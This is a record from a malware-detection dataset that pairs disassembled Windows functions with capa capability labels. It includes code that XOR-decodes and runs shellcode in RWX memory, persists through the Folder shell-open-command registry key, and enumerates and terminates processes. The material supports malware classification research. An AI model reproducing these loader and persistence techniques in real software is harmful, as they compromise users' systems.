joyce8/EMBER2024-capa huggingface dataset:
Function at 0x414c6a
Capabilities:
Connect to wmi namespace via wbemlocator

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push esi
push edi
xor edi, edi
mov esi, ecx
push edi
push edi
push edi
push 3
push edi
push edi
push edi
push 0xffffffffffffffff
push edi
call dword [sym.imp.ole32.dll_CoInitializeSecurity]
push edi
call dword [sym.imp.ole32.dll_CoInitialize]
test eax, eax
js 0x414cdc
lea eax, [ebp - 4]
mov dword [ebp - 4], edi
push eax
push 0x41d498
push 0x17
push edi
push 0x41a410
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
js 0x414cdc
mov ecx, dword [ebp - 4]
lea edx, [ebp - 0x10]
push edx
push edi
push edi
push 0x80
push edi
push edi
push edi
mov dword [ebp - 0x10], edi
mov eax, dword [ecx]
push str.rootCIMV2
push ecx
call dword [eax + 0xc]
test eax, eax
jns 0x414cee
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
push 0x41a548
mov ecx, esi
call fcn.0040346a
mov eax, esi
pop edi
pop esi
leave
ret
mov ecx, dword [ebp - 0x10]
lea edx, [ebp - 0xc]
push edx
push edi
push 0x20
push str.SELECT_Name_FROM_Win32_VideoController
mov dword [ebp - 0xc], edi
mov eax, dword [ecx]
push 0x41d490
push ecx
call dword [eax + 0x50]
test eax, eax
jns 0x414d1d
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x10]
jmp 0x414cd6
mov dword [ebp - 8], edi
jmp 0x414d59
test eax, eax
js 0x414d73
lea eax, [ebp - 0x28]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov ecx, dword [ebp - 8]
lea edx, [ebp - 0x28]
push edi
push edi
push edx
mov eax, dword [ecx]
push edi
push str.Name
push ecx
call dword [eax + 0x10]
test eax, eax
js 0x414d50
cmp word [ebp - 0x28], 8
je 0x414d93
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov ecx, dword [ebp - 0xc]
lea edx, [ebp - 0x14]
push edx
lea edx, [ebp - 8]
push edx
mov eax, dword [ecx]
push 1
push 0xffffffffffffffff
push ecx
call dword [eax + 0x10]
cmp eax, 1
jne 0x414d22
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
jmp 0x414cea
push dword [ebp - 0x20]
jmp 0x414ce1
Function at 0x414e4e
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
push esi
mov dword [ebp - 0x10], ecx
mov ecx, 0x208
push edi
call fcn.0040698f
mov esi, eax
lea ecx, [ebp - 0x2c]
push 5
pop eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x28], eax
xor eax, eax
mov dword [ebp - 0xc], esi
mov dword [ebp - 0x24], eax
call fcn.00402f18
mov ebx, dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsW]
push esi
push 0x104
call ebx
mov edi, eax
cmp edi, 0x104
jbe 0x414ebc
mov ecx, esi
call fcn.004069a5
xor ecx, ecx
mov eax, edi
push 2
pop edx
mul edx
seto cl
neg ecx
or ecx, eax
call fcn.0040698f
mov esi, eax
mov dword [ebp - 0xc], eax
push esi
push edi
call ebx
xor eax, eax
mov ebx, esi
cmp word [esi], ax
je 0x414f68
xor esi, esi
push ebx
lea ecx, [ebp - 4]
mov dword [ebp - 0x1c], esi
call fcn.0040346a
push eax
lea ecx, [ebp - 0x1c]
call fcn.004035de
mov ecx, dword [ebp - 4]
call fcn.004068b7
mov edi, dword [ebp - 0x1c]
push edi
mov dword [ebp - 4], esi
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
sub esp, 0xc
mov dword [ebp - 0x18], eax
mov ecx, esp
mov dword [ebp - 8], ecx
mov dword [ecx], esi
test edi, edi
je 0x414f2c
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea ecx, [eax*2 + 2]
call fcn.00406875
mov ecx, dword [ebp - 8]
push edi
push eax
mov dword [ecx], eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov ecx, dword [ebp - 8]
mov eax, dword [ebp - 0x18]
mov dword [ecx + 4], eax
mov eax, dword [ebp - 0x14]
mov dword [ecx + 8], eax
lea ecx, [ebp - 0x2c]
call fcn.00402e23
test edi, edi
je 0x414f4a
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
jmp 0x414f4c
mov eax, esi
lea ebx, [ebx + eax*2]
mov ecx, edi
add ebx, 2
call fcn.004068b7
mov dword [ebp - 0x1c], esi
cmp word [ebx], si
jne 0x414ecb
mov esi, dword [ebp - 0xc]
mov ecx, esi
call fcn.004069a5
mov ecx, dword [ebp - 0x10]
lea eax, [ebp - 0x2c]
push eax
call fcn.0040283c
lea ecx, [ebp - 0x2c]
call fcn.00402883
mov eax, dword [ebp - 0x10]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x414f8b
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x288
push ebx
push esi
push edi
push 5
mov esi, ecx
xor ebx, ebx
pop eax
lea ecx, [ebp - 0x18]
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], ebx
call fcn.004030a1
lea edx, [ebp + 8]
lea ecx, [ebp - 8]
call fcn.004036b3
push eax
lea ecx, [ebp + 8]
call fcn.004035de
mov ecx, dword [ebp - 8]
call fcn.004068b7
lea eax, [ebp - 0x284]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
cmp eax, 0xffffffff
jne 0x415005
lea eax, [ebp - 0x18]
mov ecx, esi
push eax
call fcn.0040289e
lea ecx, [ebp - 0x18]
call fcn.004028e5
mov ecx, dword [ebp + 8]
call fcn.004068b7
mov eax, esi
jmp 0x4150e0
mov esi, eax
test byte [ebp - 0x284], 0x10
mov dword [ebp - 0x34], ebx
je 0x415024
xorps xmm0, xmm0
mov dword [ebp - 0x24], 1
movlpd qword [ebp - 0x2c], xmm0
jmp 0x415039
mov eax, dword [ebp - 0x264]
mov ecx, dword [ebp - 0x268]
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], ecx
lea eax, [ebp - 0x258]
push eax
lea ecx, [ebp - 8]
call fcn.0040346a
push eax
lea ecx, [ebp - 0x34]
call fcn.004035de
mov ecx, dword [ebp - 8]
call fcn.004068b7
sub esp, 0x18
mov dword [ebp - 8], ebx
mov edi, esp
mov dword [edi], ebx
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x415087
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea ecx, [eax*2 + 2]
call fcn.00406875
push ebx
push eax
mov dword [edi], eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov eax, dword [ebp - 0x2c]
lea ecx, [ebp - 0x18]
mov edx, dword [ebp - 0x28]
mov dword [edi + 8], eax
mov eax, dword [ebp - 0x24]
mov dword [edi + 0xc], edx
mov dword [edi + 0x10], eax
call fcn.00402fa0
mov ecx, ebx
call fcn.004068b7
lea eax, [ebp - 0x284]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
push 0
pop ebx
test eax, eax
jne 0x415007
mov ecx, dword [ebp - 0x1c]
lea eax, [ebp - 0x18]
push eax
call fcn.0040289e
lea ecx, [ebp - 0x18]
call fcn.004028e5
mov ecx, dword [ebp + 8]
call fcn.004068b7
mov eax, dword [ebp - 0x1c]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x4150e5
Capabilities:
Delete file
Move file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [ebp + 8]
xor edx, edx
mov dword [ebp - 0x18], eax
mov ecx, 0x41a548
mov eax, 0x414
mov dword [ebp - 0x20], edx
mov word [ebp - 0x10], ax
lea eax, [ebp - 0x20]
push esi
push eax
mov dword [ebp - 0x1c], 3
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0xe], edx
mov dword [ebp - 0xa], edx
mov dword [ebp - 6], ecx
call dword [sym.imp.SHELL32.dll_SHFileOperationW]
mov ecx, dword [ebp + 8]
neg eax
sbb esi, esi
call fcn.004068b7
lea eax, [esi + 1]
pop esi
leave
ret
Function at 0x415134
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
xor edi, edi
mov esi, ecx
push edi
push edi
push 3
push edi
push 1
push dword [ebp + 8]
push dword [esi + 4]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [esi + 8], eax
cmp eax, 0xffffffff
je 0x415168
push edi
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [esi + 0x14], eax
xor eax, eax
inc eax
jmp 0x41516d
mov dword [esi + 8], edi
xor eax, eax
pop edi
pop esi
pop ebp
ret 8

Function at 0x415173
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, ecx
xor ebx, ebx
cmp dword [edi], ebx
je 0x41518a
lea ecx, [edi + 0xc]
call fcn.004152df
push 2
push ebx
push ebx
push dword [edi + 8]
mov dword [ebp - 4], ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov eax, dword [ebp + 8]
lea ecx, [ebp - 4]
push ebx
push ecx
push dword [eax + 4]
push dword [eax]
push dword [edi + 8]
call dword [sym.imp.KERNEL32.dll_WriteFile]
cmp dword [edi], 0
mov ebx, eax
je 0x4151c0
push dword [edi + 0xc]
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
pop edi
pop esi
mov eax, ebx
pop ebx
leave
ret 8

Function at 0x4151c9
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, ecx
push esi
push edi
cmp dword [ebx], 0
je 0x4151df
lea ecx, [ebx + 0xc]
call fcn.004152df
mov ecx, dword [ebp + 0xc]
and dword [ebp - 4], 0
call fcn.00406944
push dword [ebp + 0x10]
mov esi, eax
push 0
push 0
push dword [ebx + 8]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
push esi
push dword [ebx + 8]
call dword [sym.imp.KERNEL32.dll_ReadFile]
push dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
push esi
mov dword [ebp + 0x10], eax
call fcn.004032d4
mov ecx, esi
call fcn.00406955
cmp dword [ebx], 0
je 0x415234
push dword [ebx + 0xc]
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov eax, dword [ebp + 0x10]
pop edi
pop esi
pop ebx
leave
ret 0xc
Function at 0x4152fc
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov eax, 0x5a4d
mov dword [esi + 0x20], edi
cmp word [edi], ax
jne 0x4153fc
mov eax, dword [edi + 0x3c]
add eax, edi
cmp dword [eax], 0x4550
jne 0x4153fc
movzx ecx, word [eax + 4]
mov edx, 0x14c
cmp cx, dx
jne 0x415395
mov dword [esi + 0x40], 1
lea ecx, [esi + 0x18]
mov dword [esi + 0x24], eax
push dword [eax + 0x54]
push edi
call fcn.004032d4
mov ecx, dword [esi + 0x24]
and dword [ebp + 8], 0
movzx eax, word [ecx + 0x14]
lea ebx, [ecx + 0x18]
add ebx, eax
xor eax, eax
cmp ax, word [ecx + 6]
jae 0x4153f4
sub esp, 0x30
mov ecx, esp
push ecx
push ebx
push edi
call fcn.00415b02
lea ecx, [esi + 0x2c]
call fcn.00415405
mov eax, dword [esi + 0x24]
add ebx, 0x28
mov ecx, dword [ebp + 8]
inc ecx
mov dword [ebp + 8], ecx
movzx eax, word [eax + 6]
cmp ecx, eax
jl 0x415369
jmp 0x4153f4
mov edx, 0x8664
cmp cx, dx
jne 0x4153f4
xor ebx, ebx
mov dword [esi + 0x28], eax
mov dword [esi + 0x40], ebx
lea ecx, [esi + 0x18]
push dword [eax + 0x54]
push edi
call fcn.004032d4
mov ecx, dword [esi + 0x28]
xor edx, edx
movzx eax, word [ecx + 0x14]
add eax, 0x18
add eax, ecx
mov dword [ebp + 8], eax
cmp dx, word [ecx + 6]
jae 0x4153f4
sub esp, 0x30
mov ecx, esp
push ecx
push eax
push edi
call fcn.00415b02
lea ecx, [esi + 0x2c]
call fcn.00415405
mov ecx, dword [esi + 0x28]
inc ebx
mov eax, dword [ebp + 8]
add eax, 0x28
mov dword [ebp + 8], eax
movzx ecx, word [ecx + 6]
cmp ebx, ecx
jl 0x4153ca
xor eax, eax
inc eax
mov dword [esi + 0x3c], eax
jmp 0x4153fe
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret 4

Function at 0x41554e
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [ecx], ax
jne 0x415569
mov edx, dword [ecx + 0x3c]
xor eax, eax
add edx, ecx
cmp dword [edx], 0x4550
cmove eax, edx
ret
xor eax, eax
ret

Function at 0x4155e2
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, dword fs:[0x30]
push ebx
push esi
push edi
mov esi, dword [eax + 0xc]
add esi, 0x14
mov ecx, dword [esi]
jmp 0x41562d
mov ebx, dword [ecx + 0x28]
mov edx, 0x41aba0
movzx eax, word [ebx]
mov edi, eax
test ax, ax
je 0x41562b
sub ebx, edx
movzx eax, word [edx]
test ax, ax
je 0x41562b
cmp ax, di
ja 0x41562b
jb 0x41562b
add edx, 2
movzx eax, word [ebx + edx]
mov edi, eax
test ax, ax
jne 0x415609
cmp word [edx], ax
je 0x415637
mov ecx, dword [ecx]
cmp ecx, esi
jne 0x4155f5
xor eax, eax
pop edi
pop esi
pop ebx
ret
mov eax, dword [ecx + 0x10]
jmp 0x415633
Function at 0x415a1a
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
mov esi, ecx
push edi
mov dword [ebp - 0xc], esi
call fcn.0041554e
mov ebx, eax
test ebx, ebx
je 0x415afb
push 0x40
push 0x3000
push dword [ebx + 0x50]
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
test edi, edi
je 0x415afb
movzx eax, word [ebx + 0x14]
add eax, 0x18
add eax, ebx
mov dword [ebp - 4], eax
push dword [eax + 0x14]
push esi
push edi
call fcn.004012a9
xor ecx, ecx
add esp, 0xc
xor eax, eax
cmp cx, word [ebx + 6]
jmp 0x415aba
movzx eax, ax
imul esi, eax, 0x28
mov eax, dword [ebp - 4]
push dword [esi + eax + 8]
mov eax, dword [esi + eax + 0xc]
add eax, edi
push 0
push eax
call fcn.004012cf
mov ecx, dword [ebp - 4]
add esp, 0xc
push dword [esi + ecx + 0x10]
mov eax, dword [esi + ecx + 0x14]
add eax, dword [ebp - 0xc]
push eax
mov eax, dword [esi + ecx + 0xc]
add eax, edi
push eax
call fcn.004012a9
mov eax, dword [ebp - 8]
add esp, 0xc
inc eax
cmp ax, word [ebx + 6]
mov dword [ebp - 8], eax
jb 0x415a76
mov ecx, edi
call fcn.004159ce
mov ecx, eax
mov esi, edx
mov eax, edi
cdq
sub eax, ecx
mov ecx, edi
sbb edx, esi
push edx
push eax
call fcn.0041595a
pop ecx
pop ecx
test al, al
je 0x415af7
mov ecx, edi
call fcn.004156c0
test al, al
je 0x415af7
mov eax, dword [ebx + 0x28]
push 0
push 1
push edi
add eax, edi
call eax
mov eax, edi
jmp 0x415afd
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x415b3f
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push ebx
push esi
push 0x44
xor ebx, ebx
lea eax, [ebp - 0x54]
push ebx
push eax
mov esi, ecx
call fcn.004012cf
mov eax, dword [ebp + 0xc]
lea edx, [ebp - 0x10]
add esp, 0xc
mov dword [ebp - 0x54], 0x44
mov ecx, dword [eax]
mov eax, dword [ebp + 8]
push edx
lea edx, [ebp - 0x54]
push edx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ecx
push dword [eax]
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x415b8e
mov eax, dword [ebp - 0x10]
mov dword [esi], eax
xor eax, eax
inc eax
jmp 0x415b90
xor eax, eax
pop esi
pop ebx
leave
ret 0xc

Function at 0x415b96
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x230
push esi
push edi
push 0
mov esi, ecx
mov dword [ebp - 0x230], 0x22c
push 2
mov dword [ebp - 4], esi
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
cmp edi, 0xffffffff
je 0x415c23
lea eax, [ebp - 0x230]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x415c1c
push dword [esi]
call dword [sym.imp.USER32.dll_CharLowerW]
mov esi, eax
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.USER32.dll_CharLowerW]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x415c0d
lea eax, [ebp - 0x230]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
je 0x415c1c
mov esi, dword [ebp - 4]
jmp 0x415bd3
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x228]
jmp 0x415c25
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop edi
pop esi
leave
ret
Function at 0x415c5d
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x66c
push ebx
push esi
push edi
push 0x228
xor ebx, ebx
lea eax, [ebp - 0x254]
push ebx
push eax
mov edi, ecx
call fcn.004012cf
add esp, 0xc
mov dword [ebp - 0x258], 0x22c
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x20], ebx
push 5
pop eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x24], eax
call fcn.00402d90
push ebx
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
cmp esi, 0xffffffff
je 0x415e36
lea eax, [ebp - 0x258]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
jmp 0x415e27
mov eax, dword [ebp - 0x250]
lea ecx, [ebp - 8]
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x234]
push eax
mov dword [ebp - 8], ebx
mov dword [ebp - 4], ebx
call fcn.0040351b
push dword [ebp - 0x250]
push ebx
push 0x1410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x415d82
push 0x410
lea eax, [ebp - 0x668]
push 0
push eax
call fcn.004012cf
add esp, 0xc
lea eax, [ebp - 0x668]
push 0x208
push eax
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_K32GetModuleFileNameExW]
test eax, eax
je 0x415d57
lea eax, [ebp - 0x668]
push eax
lea ecx, [ebp - 0x10]
call fcn.0040346a
push eax
lea ecx, [ebp - 4]
call fcn.004035de
mov ecx, dword [ebp - 0x10]
call fcn.004068b7
and dword [ebp - 0x10], 0
jmp 0x415d79
push 0x41ad84
lea ecx, [ebp - 0x14]
call fcn.0040346a
push eax
lea ecx, [ebp - 4]
call fcn.004035de
mov ecx, dword [ebp - 0x14]
call fcn.004068b7
and dword [ebp - 0x14], 0
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x415da4
push 0x41ad84
lea ecx, [ebp - 0x18]
call fcn.0040346a
push eax
lea ecx, [ebp - 4]
call fcn.004035de
mov ecx, dword [ebp - 0x18]
call fcn.004068b7
and dword [ebp - 0x18], 0
mov eax, dword [ebp - 0xc]
sub esp, 0xc
mov ebx, esp
mov dword [ebx], eax
and dword [ebx + 4], 0
cmp dword [ebp - 8], 0
je 0x415dda
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea ecx, [eax*2 + 2]
call fcn.00406875
push dword [ebp - 8]
mov dword [ebx + 4], eax
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
and dword [ebx + 8], 0
cmp dword [ebp - 4], 0
je 0x415e06
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea ecx, [eax*2 + 2]
call fcn.00406875
push dword [ebp - 4]
mov dword [ebx + 8], eax
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
lea ecx, [ebp - 0x28]
call fcn.00402c89
lea ecx, [ebp - 0xc]
call fcn.00402969
lea eax, [ebp - 0x258]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32NextW]
push 0
pop ebx
test eax, eax
jne 0x415cc7
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x28]
mov ecx, edi
push eax
call fcn.004027da
lea ecx, [ebp - 0x28]
call fcn.00402821
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret

Function at 0x415e50
Capabilities:
Terminate process

Disassembly:
push edi
push ecx
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
test edi, edi
je 0x415e7a
push esi
push 0
push edi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop esi
pop edi
ret
xor eax, eax
pop edi
ret
Function at 0x41692a
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
lea eax, [ebp - 4]
mov esi, 0xf003f
push eax
push esi
xor edi, edi
mov ebx, 0x41d718
push edi
push ebx
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x41696d
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 4]
push eax
push edi
push esi
push edi
push edi
push edi
push ebx
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
mov esi, 0x553c80
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
shl eax, 2
push eax
push esi
push 1
push edi
push 0x41d738
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x41699d
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
push 0x800
mov dword [ebp - 4], ecx
call fcn.00401000
mov esi, 0x41c4f0
mov dword [ebp - 8], eax
pop ecx
mov edx, eax
sub esi, eax
mov edi, 0x601
mov cl, byte [esi + edx]
xor cl, 0x45
mov byte [edx], cl
inc edx
sub edi, 1
jne 0x4169c5
lea ecx, [ebp - 0xc]
push ecx
push 0x40
push 0x7d0
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push 0x40
push 0x1000
push 0x1fe
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ebx, eax
push 0x104
push ebx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push 0xa
pop ecx
push 0
push 0
push dword [ebp - 4]
lea edi, [ebx + eax*2]
mov esi, str.System32cmd.exe
mov eax, dword [ebp - 8]
rep movsd dword es:[edi], dword [esi]
push ebx
add eax, 0xef
call eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x416a31
Capabilities:
Get session user name

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
lea eax, [ebp - 4]
mov dword [ebp - 4], 0x200
push eax
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameW]
lea eax, [ebp - 8]
push eax
push 1
lea eax, [ebp - 0x208]
push eax
push 0
call dword [sym.imp.NETAPI32.dll_NetUserGetInfo]
test eax, eax
je 0x416a6f
xor al, al
leave
ret
mov ecx, dword [ebp - 8]
push ebx
push ecx
cmp dword [ecx + 0xc], 2
sete bl
call dword [sym.imp.NETAPI32.dll_NetApiBufferFree]
mov al, bl
pop ebx
leave
ret
Function at 0x416a86
Capabilities:
Extract resource via kernel32 functions

Disassembly:
call fcn.00416a31
test al, al
je 0x416b17
call fcn.004145c4
cmp eax, 1
je 0x416b17
push esi
push edi
mov edi, 0x208
mov esi, 0x553c80
push edi
push 0
push esi
call fcn.004012cf
add esp, 0xc
push edi
push esi
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
jne 0x416b15
call fcn.004145c4
cmp eax, 1
je 0x416b15
push ebx
call fcn.0041692a
call fcn.00417246
push 0x41d770
mov ebx, eax
push 0x66
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov edi, eax
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
push edi
push ebx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push esi
call dword [sym.imp.KERNEL32.dll_LockResource]
pop ebx
test eax, eax
je 0x416b15
mov ecx, eax
call fcn.0041699d
pop edi
pop esi
xor eax, eax
ret

Function at 0x416b96
Capabilities:
Persist via default file association registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov esi, eax
lea eax, [ebp - 4]
push eax
push 0x20006
push 0
push str.SoftwareClassesFolder_shellopencommand
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x416bd0
push eax
call dword [sym.imp.KERNEL32.dll_SetLastError]
xor al, al
jmp 0x416bf8
push esi
push dword [ebp + 0xc]
push 1
push 0
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 4]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
je 0x416bf6
push esi
jmp 0x416bc6
mov al, 1
pop esi
leave
ret